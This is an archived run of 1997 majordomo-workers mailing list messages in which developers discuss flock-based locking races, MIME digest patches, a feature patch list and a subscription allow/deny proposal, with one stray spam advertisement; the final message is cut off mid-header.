From owner-majordomo-workers-outgoing Fri Aug 1 13:47:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA13328 for majordomo-workers-outgoing; Fri, 1 Aug 1997 13:42:21 -0700 (PDT) Received: from ns0.medius.com (ns0.medius.com [204.50.122.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA13321 for ; Fri, 1 Aug 1997 13:42:16 -0700 (PDT) Received: from ronin.medius.com (ronin.medius.com [204.225.57.120]) by ns0.medius.com (8.8.6/8.8.6) with SMTP id QAA01604 for ; Fri, 1 Aug 1997 16:43:02 -0400 (EDT) Message-Id: <3.0.3.32.19970801162936.0089b5c0@home.samurai.com> X-Sender: bryanf@home.samurai.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Fri, 01 Aug 1997 16:29:36 -0400 To: majordomo-workers@greatcircle.com From: Bryan Fullerton Subject: Howdy... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi. I'm Bryan, and I run a majordomo list server. :) I've got several high volume lists, as well as one giganto bi-weekly newsletter (32K per newsletter, 17,300 subscribers as of right now). I also participated in the technical review of the ORA MIIS 2nd ed., specifically the Majordomo/lists section. Anyways, I'd be interested in doing testing of any test or beta code of MD2.x or anything really. I know a fair bit of perl, so I can make lots of obnoxious suggestions too. :) Bryan -- Bryan Fullerton "What is the sound of Perl? Is it not the sound Samurai Consulting of a wall that people have stopped banging their bryanf@samurai.com heads against?" --Larry Wall http://www.samurai.com/ There are Pretenders among us. From owner-majordomo-workers-outgoing Fri Aug 1 18:01:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA25932 for majordomo-workers-outgoing; Fri, 1 Aug 1997 17:54:55 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA25919 for ; Fri, 1 Aug 1997 17:54:47 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id QAA04629; Fri, 1 Aug 1997 16:16:38 -0500 (CDT) To: majordomo-workers@GreatCircle.COM, Bryan Fullerton Subject: Re: Howdy... References: <3.0.3.32.19970801162936.0089b5c0@home.samurai.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Aug 1997 16:16:37 -0500 In-Reply-To: Bryan Fullerton's message of Fri, 01 Aug 1997 16:29:36 -0400 Message-ID: Lines: 23 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BF" == Bryan Fullerton writes: BF> I also participated in the technical review of the ORA MIIS 2nd ed., BF> specifically the Majordomo/lists section. So did I, through two review cycles. I really wish the book would come out... BF> Anyways, I'd be interested in doing testing of any test or beta code of BF> MD2.x or anything really. We're far away from beta. We haven't even hit alpha yet. Actually I hope to make an alpha release within the next couple of weeks. I don't have the time to catch anyone up to the current state of the art, so I'll just ask you to read what's in the archives at ; try to catch up on the last couple of months. A tasks list is in there, as well as a pointer to the snapshots and semi-regular progress reports. Please read them to see where things are and where they're headed. And please keep all suggestions and comments public. - J< From owner-majordomo-workers-outgoing Tue Aug 5 20:50:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA18262 for majordomo-workers-outgoing; Tue, 5 Aug 1997 20:36:04 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA18234 for ; Tue, 5 Aug 1997 20:35:52 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id WAA06722; Tue, 5 Aug 1997 22:36:53 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Locking Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Aug 1997 22:36:53 -0500 Message-ID: Lines: 25 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I just went through another round of obliteration tests, where I spawn off a pile of processes zubscribing and unzubscribing hundreds of addresses in rapid succession, driving the load past 20. I think I've fixed the one race condition listed in BUGS and things are working perfectly through an hour of intense list action. I want to play with locking, because I don't really like the locking method I'm using. Dave Wolfe seems to be the lock god right now, and I'm not braving c.l.perl.misc to ask, so I hope to get feedback here. I need a locking method that survives the files being renamed out from under it. Experiments have shown that flock on the file itself just doesn't work in this case. I like the way flock works, though; things queue in order and you don't get starvation. So I create a temporary file related to the original and flock it. This works, but experiments show that I can't remove this temp file because it hoses the locking. So I have this method that leaves permanent droppings around, _and_ relies on working flock. That's not so bad, really, but I just don't like it because it seems to be the worst of both worlds. Has anyone done work with this before? Anyone want to volunteer to play with locking? All of the lock stuff is abstracted in a single module and can be changed independent of the rest of the code. - J< From owner-majordomo-workers-outgoing Tue Aug 5 23:07:20 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA16022 for majordomo-workers-outgoing; Tue, 5 Aug 1997 23:00:41 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA15940 for ; Tue, 5 Aug 1997 23:00:19 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id BAA08486; Wed, 6 Aug 1997 01:01:20 -0500 (CDT) To: Chuq Von Rospach Cc: majordomo-workers@GreatCircle.COM Subject: Re: Locking References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Aug 1997 01:01:20 -0500 In-Reply-To: Chuq Von Rospach's message of Tue, 5 Aug 1997 22:29:12 -0700 Message-ID: Lines: 40 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "CVR" == Chuq Von Rospach writes: CVR> So don't remove the lock file. Make it a permanent file. That's what I'm doing now. It works, but seems like needless clutter given that nothing else I've ever seen leaves around permanent lock droppings. CVR> Are you using shared or exclusive locks? Both, depending on what's needed. The Lock module is allowed to use any semantics it feels like, as long as it doesn't return until a lock is granted (or if a non-blocking lock was requested). CVR> So simply define them as non-droppings, create a lock directory in the CVR> hierarchy where they get put to not clutter up the rest of the CVR> directory structure, and call it a feature. That's next; right now it puts them with the regular file. This saves the overhead of checking and creating a separate directory structure. The droppings all start with dots, though, so they aren't too annoying. CVR> It's too bad flock doesn't have a status item to tell you the number CVR> of pending locks. you could simply poll that, and if there's nobody CVR> pending, delete the file and then unflock. Well, you can tell if the number is zero or not, simply by trying to lock with the non-blocking flag set. [...] CVR> Seem reasonable? Well, sort of. I think I've decided to just let this sit, as the current method, however ugly, seems to be bulletproof. Later we can play if it's deemed too ugly for release. Of course, anyone who wants to play is welcome to do so now. Back to hacking... - J< From owner-majordomo-workers-outgoing Tue Aug 5 23:11:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA09921 for majordomo-workers-outgoing; Tue, 5 Aug 1997 22:30:29 -0700 (PDT) Received: from plaidworks.com (plaidworks.com [207.167.80.66]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id WAA09774 for ; Tue, 5 Aug 1997 22:29:54 -0700 (PDT) Received: from [207.167.80.70] (zamboni.plaidworks.com [207.167.80.70]) by plaidworks.com (8.8.5/8.8.5) with ESMTP id WAA06658Tue, 5 Aug 1997 22:29:43 -0700 Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 5 Aug 1997 22:29:12 -0700 To: Jason L Tibbitts III , majordomo-workers@GreatCircle.COM From: Chuq Von Rospach Subject: Re: Locking Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 8:36 PM -0700 8/5/97, Jason L Tibbitts III wrote: >I like the way flock works, though; things >queue in order and you don't get starvation. So I create a temporary file >related to the original and flock it. This works, but experiments show >that I can't remove this temp file because it hoses the locking. So don't remove the lock file. Make it a permanent file. Are you using shared or exclusive locks? Seems like, for file fred, if you create a permanent locking place fred.lock that's never deleted, it's no problem. A process comes in an attempts an exclusive lock. If it works, it knows it owns the file until it unlocks. If it fails, it blocks until the resource is available, and everyone queues up. >So I have this method that leaves permanent droppings around, _and_ relies >on working flock. So simply define them as non-droppings, create a lock directory in the hierarchy where they get put to not clutter up the rest of the directory structure, and call it a feature. Use exclusive locks and let the OS handle the queuing and everything for you, and keep life real simple. Adding a subdirectory of tiny (or zero length) files to maintain the locking state seems like a small and wonderful tradeoff to avoid building in excess complexity handling the creation and deletion of these things.... It's too bad flock doesn't have a status item to tell you the number of pending locks. you could simply poll that, and if there's nobody pending, delete the file and then unflock. Hmm. If you really want this, would this work? if file exists, flock it exclusive and wait your turn. if not, create it and flock it (if someone sneaks in you still block. Taht's okay) When you're done, unflock it. Then, immediately attempt to flock it again, but this time with LOCK_SH+LOCK_NB to go non-blocking. If the flock succeeds, you can unlink the file, since there were no pending requests to screw up. If the call returns EWOULDBLOCK, then exit, because someone else has the file. That way, if there's a pileup, the first guy in creates the file, and the last guy out deletes it, and if there's a window of vulnerability here, it's between that final FLOCK and the unlink, which can be kept as tiny as possible. Hmm. that'd imply that after your flock succeeds, you need to recheck that the file hasn't been unlinked. if it has, then drop the flock and start over. That closes that window. Seem reasonable? chuq -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-majordomo-workers-outgoing Wed Aug 6 07:40:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA29698 for majordomo-workers-outgoing; Wed, 6 Aug 1997 07:08:56 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA29649 for ; Wed, 6 Aug 1997 07:08:34 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA06497 for majordomo-workers@GreatCircle.COM; Wed, 6 Aug 97 07:08:58 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA24840 for chuqui@plaidworks.com; Wed, 6 Aug 97 07:08:57 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.8.6/8.8.6) with ESMTP id JAA08157; Wed, 6 Aug 1997 09:08:56 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id JAA21430; Wed, 6 Aug 1997 09:00:02 -0500 From: Dave Wolfe Message-Id: <199708061400.JAA21430@miaow.risc.sps.mot.com> Subject: Re: Locking To: majordomo-workers@GreatCircle.COM Date: Wed, 6 Aug 1997 09:00:01 -0500 (CDT) Cc: tibbs@hpc.uh.edu, chuqui@plaidworks.com In-Reply-To: from "Chuq Von Rospach" at Aug 5, 97 10:29:12 pm Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Chuq Von Rospach writes: ] > > So don't remove the lock file. That's what I do in my NFS shlock.pl (or at least in the version I'm running, I'm not sure what's on the patch site). If the file doesn't exist, I create it, then continue with getting the lock. I don't ever try to remove it. It's just another of the files necessary for the system. > It's too bad flock doesn't have a status item to tell you the number > of pending locks. you could simply poll that, and if there's nobody > pending, delete the file and then unflock. Wouldn't work unless it was tied into deleting the file so that the test and delete was atomic as far as user processes are concerned. > Hmm. If you really want this, would this work? > > When you're done, unflock it. Then, immediately attempt to flock it > again, but this time with LOCK_SH+LOCK_NB to go non-blocking. If the > flock succeeds, you can unlink the file, since there were no pending > requests to screw up. Nope, the test and delete still isn't atomic. Someone could still sneak in a lock request between your successful lock and the subsequent delete, which would leave the other process with an open, locked inode that's worthless because any other process wanting the lock would just create a new file (remember, the one this process has doesn't exist in the namespace any more). > That way, if there's a pileup, the first guy in creates the file, and > the last guy out deletes it, and if there's a window of vulnerability > here, it's between that final FLOCK and the unlink, which can be kept > as tiny as possible. Size doesn't count, :-) locking either works or it doesn't. Size just relates to whether it fails often or just at the worst possible times. > Hmm. that'd imply that after your flock succeeds, you need to recheck > that the file hasn't been unlinked. if it has, then drop the flock and > start over. That closes that window. I don't see how that closes the window at all. The other process probably isn't executing the cleanup path like this process is, so it wouldn't be unlinking the lockfile. I think the way to close such a window is, once you obtain a lock, to check that the file still exists in the namespace and that it's the same inode you have locked, i.e. the check goes at the front end instead of the backend (assuming that unlinking the file is done only when holding an exclusive flock() on the file). If that check fails, then all you have locked is an unlinked inode, so you have to close it and start over. Sounds like too much trouble to me. Jason -- note that Perl's flock is NFS-safe only between systems that have an NFS-safe fcntl() lock implemented and when Perl is configured to use that locking method to implement its flock() function. The C library flock(3) works only on local file systems. The procmail author claims (in the code) that using creat(2) or O_WRONLY|O_CREAT|O_EXCL mode flags to open(2) is "NFS resistant", whatever that means. I've also seen claims that using lock directories is NFS-safe. I've not tried any experiments to implement such locking methods in Perl to test the validity of such assertions however. -- Dave Wolfe From owner-majordomo-workers-outgoing Wed Aug 6 11:38:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA24912 for majordomo-workers-outgoing; Wed, 6 Aug 1997 10:01:31 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA24879 for ; Wed, 6 Aug 1997 10:01:16 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA18614; Wed, 6 Aug 1997 12:02:12 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Re: Locking References: <199708061400.JAA21430@miaow.risc.sps.mot.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Aug 1997 12:02:11 -0500 In-Reply-To: Dave Wolfe's message of Wed, 6 Aug 1997 09:00:01 -0500 (CDT) Message-ID: Lines: 10 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "DW" == Dave Wolfe writes: DW> Jason -- note that Perl's flock is NFS-safe only between systems that DW> have an NFS-safe fcntl() lock implemented [...] I know, but I have no interest in supporting NFS-mounted stuff. Anyone who wants to could write an NFS-safe locking module, though, and plug it right in. - J< From owner-majordomo-workers-outgoing Wed Aug 6 18:07:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA14558 for majordomo-workers-outgoing; Wed, 6 Aug 1997 17:45:08 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id RAA14533 for majordomo-workers@greatcircle.com; Wed, 6 Aug 1997 17:45:02 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA16191 for ; Tue, 5 Aug 1997 13:34:23 -0700 (PDT) Received: from indy.verwaltung.uni-muenchen.de by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id GAA19468; Tue, 5 Aug 1997 06:31:05 -0700 (PDT) Received: from dial0118.ppp.lrz-muenchen.de (dial0118.ppp.lrz-muenchen.de [129.187.25.118]) by indy.verwaltung.uni-muenchen.de (950413.SGI.8.6.12/950213.SGI.AUTOCF) via SMTP id PAA27150 for ; Tue, 5 Aug 1997 15:33:40 +0200 Message-Id: <199708051333.PAA27150@indy.verwaltung.uni-muenchen.de> Comments: Authenticated sender is From: "Thomas Riehm" To: majordomo-workers@GreatCircle.COM Date: Tue, 5 Aug 1997 15:34:06 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: MIME-Digests with majordomo? Reply-to: Thomas.Riehm@Verwaltung.Uni-Muenchen.DE X-mailer: Pegasus Mail for Win32 (v2.54) Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi all! Did anybody already "persuade" majordomo's "digest" to create MIME multipart-Digests rather than just putting -----'s between the messages? I patched 1.94.3's digest to do so recently, but yet I'm not really satisfied as I take the same message boundary in every digest (actually "majordomo-bounday-007" ;-) so you could not put a majordomo digest in another majordomo digest. But that's due to my absolute lack of perl knowledge, so I hope there is someone out there who has already found a better solution with random boundaries. Furthermore, I did only test my digests with WinPMail (2.53, 2.54) and with messages generated by this client, so I don't know how it will react on messages without "Mime-Version" or Content-Type -headers. I'm happy for any suggestions, Thomas Riehm Thomas.Riehm@Verwaltung.Uni-Muenchen.DE http://www.lrz.de/~thomas.riehm From owner-majordomo-workers-outgoing Thu Aug 7 05:41:19 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA01901 for majordomo-workers-outgoing; Thu, 7 Aug 1997 05:09:38 -0700 (PDT) Received: from sunams.usma.army.mil (sunams.usma.army.mil [129.29.199.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA01890 for ; Thu, 7 Aug 1997 05:09:31 -0700 (PDT) Received: from webmstr ([129.29.135.5]) by sunams.usma.army.mil (4.1/25-eef) id AA22409; Thu, 7 Aug 97 08:11:15 EDT Message-Id: <33E9BB91.E5AE2BF0@sunams.usma.edu> Date: Thu, 07 Aug 1997 08:12:01 -0400 From: "Erich L. Markert" <1e6244@sunams.usma.edu> X-Mailer: Mozilla 4.01 [en] (WinNT; I) Mime-Version: 1.0 To: Thomas.Riehm@Verwaltung.Uni-Muenchen.DE Cc: majordomo-workers@GreatCircle.COM Subject: Re: MIME-Digests with majordomo? X-Priority: 3 (Normal) References: <199708051333.PAA27150@indy.verwaltung.uni-muenchen.de> Content-Type: multipart/mixed; boundary="------------DC631930FA78C3B05BF1B8CC" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk This is a multi-part message in MIME format. --------------DC631930FA78C3B05BF1B8CC Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Thomas, Yeah, this has been discussed in the last couple of months. I, myself, had created a patched version of 1.93 that worked quite well. The problems I ran into were mail clients like MSMail. If I remember correctly, MS Mail has zero support for MIME. I have a large number of subscribers who still us MSMail and subsequently some were unable to view the sent messages; it seems that MSMail doesn't support MIME, but it also doesn't ignore it like it is suppose to. Not to rehash an old conversation, but I would like to see the capability to support both the Multipart/Digest MIME and the current plain, straight forward text based digest from the same list. Give the options to the users on which digest version they want. My $.02. Thomas Riehm wrote: > Furthermore, I did only test my digests with WinPMail (2.53, 2.54) and > with messages generated by this client, so I don't know how it will > react on messages without "Mime-Version" or Content-Type -headers. > -- __________________________________________________________ Mr. Erich L. Markert markert@www.usma.edu USMA Webmaster TEL (914)938-6463 Directorate of Information Management FAX (914)938-7308 United States Military Academy West Point, NY 10996 Those who do not understand Unix are condemned to reinvent it, poorly. -- Henry Spencer --------------DC631930FA78C3B05BF1B8CC Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Erich Markert Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Erich Markert n: Markert;Erich org: US Military Academy email;internet: 1e6244@sunams.usma.edu title: Webmaster x-mozilla-cpt: ;0 x-mozilla-html: TRUE end: vcard --------------DC631930FA78C3B05BF1B8CC-- From owner-majordomo-workers-outgoing Thu Aug 7 06:39:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA11447 for majordomo-workers-outgoing; Thu, 7 Aug 1997 06:30:02 -0700 (PDT) Received: from java.aboard.co.uk (java.aboard.co.uk [194.73.51.130]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA11408 for ; Thu, 7 Aug 1997 06:29:37 -0700 (PDT) Received: (from nick@localhost) by java.aboard.co.uk (8.8.7/8.6.9) id OAA03343; Thu, 7 Aug 1997 14:30:10 +0100 From: Nick Perry Message-ID: <19970807143009.39091@amulation.co.uk> Date: Thu, 7 Aug 1997 14:30:09 +0100 To: "Erich L. Markert" <1e6244@sunams.usma.edu> Cc: Thomas.Riehm@Verwaltung.Uni-Muenchen.DE, majordomo-workers@GreatCircle.COM Subject: Re: MIME-Digests with majordomo? References: <199708051333.PAA27150@indy.verwaltung.uni-muenchen.de> <33E9BB91.E5AE2BF0@sunams.usma.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: <33E9BB91.E5AE2BF0@sunams.usma.edu>; from Erich L. Markert on Thu, Aug 07, 1997 at 08:12:01AM -0400 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Thu, Aug 07, 1997 at 08:12:01AM -0400, Erich L. Markert wrote: > Not to rehash an old conversation, but I would like to see the > capability to support both the Multipart/Digest MIME and the current > plain, straight forward text based digest from the same list. Give the > options to the users on which digest version they want. You will, of course, have to wait for 2.0 for features that involve settings of state for individual users. As mentioned im my previous messages, the easiest way to do this now is to have separate lists for MIME and non-MIME digests. Nick -- Nick Perry | Home / Recreation | Work - AboarD | | LONDON SW1, UK | LONDON SW10, UK | | http://www.amulation.co.uk/nick | http://www.aboard.co.uk | | nick.perry@amulation.co.uk | np@aboard.co.uk | From owner-majordomo-workers-outgoing Fri Aug 8 08:54:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA01530 for majordomo-workers-outgoing; Fri, 8 Aug 1997 08:36:03 -0700 (PDT) Received: from java.aboard.co.uk (java.aboard.co.uk [194.73.51.130]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA01488 for ; Fri, 8 Aug 1997 08:35:30 -0700 (PDT) Received: (from nick@localhost) by java.aboard.co.uk (8.8.7/8.6.9) id QAA31165; Fri, 8 Aug 1997 16:36:38 +0100 From: Nick Perry Message-ID: <19970808163638.42344@amulation.co.uk> Date: Fri, 8 Aug 1997 16:36:38 +0100 To: majordomo-workers@greatcircle.com Subject: My 1.94.3 (Feature) Patch List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Prompted by a message from yesterday, I've tidied up my feature patches for majordomo and ensured they are all made against 1.94.3. They are all freely available from: ftp://ftp.amulation.com/pub/majordomo_patches/ Descriptions follow. Listed in order of usefulness! rm_digest.patch 3076 bytes adds the functionality promised by digest_rm_fronter and digest_rm_footer, but never implemented. Fronters and footers are removed from each message in the digest only at the time the digest is compiled, so if the message_fronter and message_footer from the non-digest list have been changed since the last digest was made, only those messages with the current fronters and footers will have them successfully removed. mime_digest.patch 6037 bytes Modifies digest to implement MIME digest of the type multipart/mime. The boundary is the same as the old RFC-1153 type message separator, co compatibility is assured. However, MIME headers are also retained for each message, which may, in some bizarre circumstances, cause problems. MIME-ification it controlled via the new list config setting digest_mime (boolean), or via additional command line option -M. digest_mime must be set if you want mkdigest to produce MIME digests. message_fronter will appear at the foot of the first (index) part if MIME features are invoked. quote_lines.patch 4106 bytes Features to either 'warn' or 'bounce' messages to a list based on quantity of quoted material. Quoting is defined/detected using a simple regexp: /^[>| :}]/ Per list configurable. max_quoted_pc defines the threshold (as a percentage) at which the feature is invoked. exceed_quoted_warn defines the action: "bounce" signifies the message should be bounced (unless approved) to list-admin; anything else in this field is printed verbatim at the foot of offending messages. The usual tokens are expanded. archive_chmod.patch 480 bytes Modifies archive2.pl to ensure archives are world readable. Useful for ftp archives. Use only with lists whose get_access is open subject_prefix.patch 1089 bytes More advanced prepending of subject_prefix Correct far-too-clever mailers that do this [PREFIX] Re: Subject to Re: [PREFIX] Subject Zaps any occurrence of [PREFIX] in the subject before commencing to ensure subjects like: New Subjects (was Re: [PREFIX] Subject) get written as: [PREFIX] New Subject (was Re: Subject) list_name_help.patch 616 bytes Modifies majordomo to give a hint if someone uses an incorrect listname ending -1 or -i or -I. A common mistake for sites that use the convention of listnames ending in -l (lower case 'L') bounce_all.patch 7966 bytes Modifies bounce to accept 'all' as the list argument. In which case bounce will attempt to unsubscribe from ALL lists anyone whose address matches the pattern passed. The pattern is evaluated using a user-configurable grep command. Crude, but effective! skip_headers.patch 496 bytes Simply adds more headers known to cause probs to the skip headers string. mailstrip 3685 bytes NOT A PATCH - a perl standalone Input a properly formatted SMTP message Output is same SMTP message sans certain headers or body items Useful for stripping nasty attachments from mails. with this installed, I have approve aliased as: alias approve '/path/to/mailstrip -a | /path/to/approve' owner-password.patch 3392 bytes Owner Password Hack AVOID - INCOMPLETE -- Nick Perry | Home / Recreation | Work - AboarD | | LONDON SW1, UK | LONDON SW10, UK | | http://www.amulation.co.uk/nick | http://www.aboard.co.uk | | nick.perry@amulation.co.uk | np@aboard.co.uk | From owner-majordomo-workers-outgoing Fri Aug 8 14:42:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA03584 for majordomo-workers-outgoing; Fri, 8 Aug 1997 14:12:26 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA03563; Fri, 8 Aug 1997 14:12:19 -0700 (PDT) From: music@hkg.com Received: from inet.hkg.com by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id OAA19039; Fri, 8 Aug 1997 14:08:50 -0700 (PDT) Received: from My Computer (yckam025005.netvigator.com [206.161.49.69]) by inet.hkg.com (8.6.12/8.6.9) with SMTP id FAA15475; Sat, 9 Aug 1997 05:24:28 +0800 Date: Sat, 9 Aug 1997 05:24:28 +0800 Message-Id: <199708082124.FAA15475@inet.hkg.com> Subject: Alamo - "The One-Stop Music Shop" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Guaranteed lowest prices and largest selection! Factory Direct! We have millions of inventory from over 3,000 makers worldwide. For FULL details, e-mail us a blank message to: mailto:music@hkg.com?subject=INFO. If you're not interested, e-mail us a blank message to: mailto:music@hkg.com?subject=DELETE From owner-majordomo-workers-outgoing Fri Aug 8 19:55:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA07550 for majordomo-workers-outgoing; Fri, 8 Aug 1997 19:52:02 -0700 (PDT) Received: from opus.SanDiegoCA.NCR.COM (h153-64-253-5.NCR.COM [153.64.253.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id TAA07543 for ; Fri, 8 Aug 1997 19:51:54 -0700 (PDT) Message-Id: <199708090251.TAA07543@honor.greatcircle.com> Received: by opus.SanDiegoCA.NCR.COM; 8 Aug 97 19:53:59 PDT From: Bill.Houle@SanDiegoCA.NCR.COM (Bill Houle) Date: Fri, 8 Aug 1997 19:53:59 -0700 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: majordomo-workers@greatcircle.com Subject: zubscribe/nozubscribe Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I have seen users on this list (and -users) ask for zubscribe address "ban" capabilities. The answer has usually been to use the the taboo* settings at the server level. Other implementations (dare I say- "hacks"?) I have seen have used a separate file for address comparison. I would like to see the "ban" idea expanded into an allow/deny mechanism and be enabled on the per-list level. My thought was to add "zubscribe" and "nozubscribe" regexp arrays to the config file, similar to adv/noadvertise. Addresses matching a "zubscribe" regexp would bypass whatever closed/open setting was in place and automatically add the user. The zubscribe list would be empty by default. +confirm would still be honored if set. Addresses matching an "unzubscribe" regexp would never get to the closed/open/auto verification and simply be denied. The unzubscribe list would be empty by default. So for instance: zubscribe_policy=closed zubscribe << END .*\.ncr.com END nozubscribe << END .*\.competitor\.com END Would allow anyone in my NCR domain to zubscribe (with no list-owner involvement), but an external competitor could never be added unless specifically approved. -From an intranet standpoint, this would be a major timesaver in allowing list-owners to be hands-free for all internal domain access (if desired), but still trap outsiders trying to zubscribe. Another advantage: lists can be made "auto" while still rejecting certain problem users/sites. Any holes in my logic? Comments? [This is not an idle proposal -- if I get some time, I will implement it. I just want to get some feedback as to whether it is a good thing to do, and also give Jason a chance to think about something similar (if he hasn't already) for 2.0.] --bill PS: For those that remember it (Message-Id: <199509012225.PAA23652@dokoka>), this is a little more 'open' than Alan Stebben's "local" policy addition, since the regexp array will allow for more than just the local domain. However, I want to go on record and say that I still really like his "sponsor" policy -- where any current member can add a zubscriber without approval. From owner-majordomo-workers-outgoing Fri Aug 8 23:55:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA23025 for majordomo-workers-outgoing; Fri, 8 Aug 1997 23:46:31 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA22992 for ; Fri, 8 Aug 1997 23:46:19 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id BAA21789; 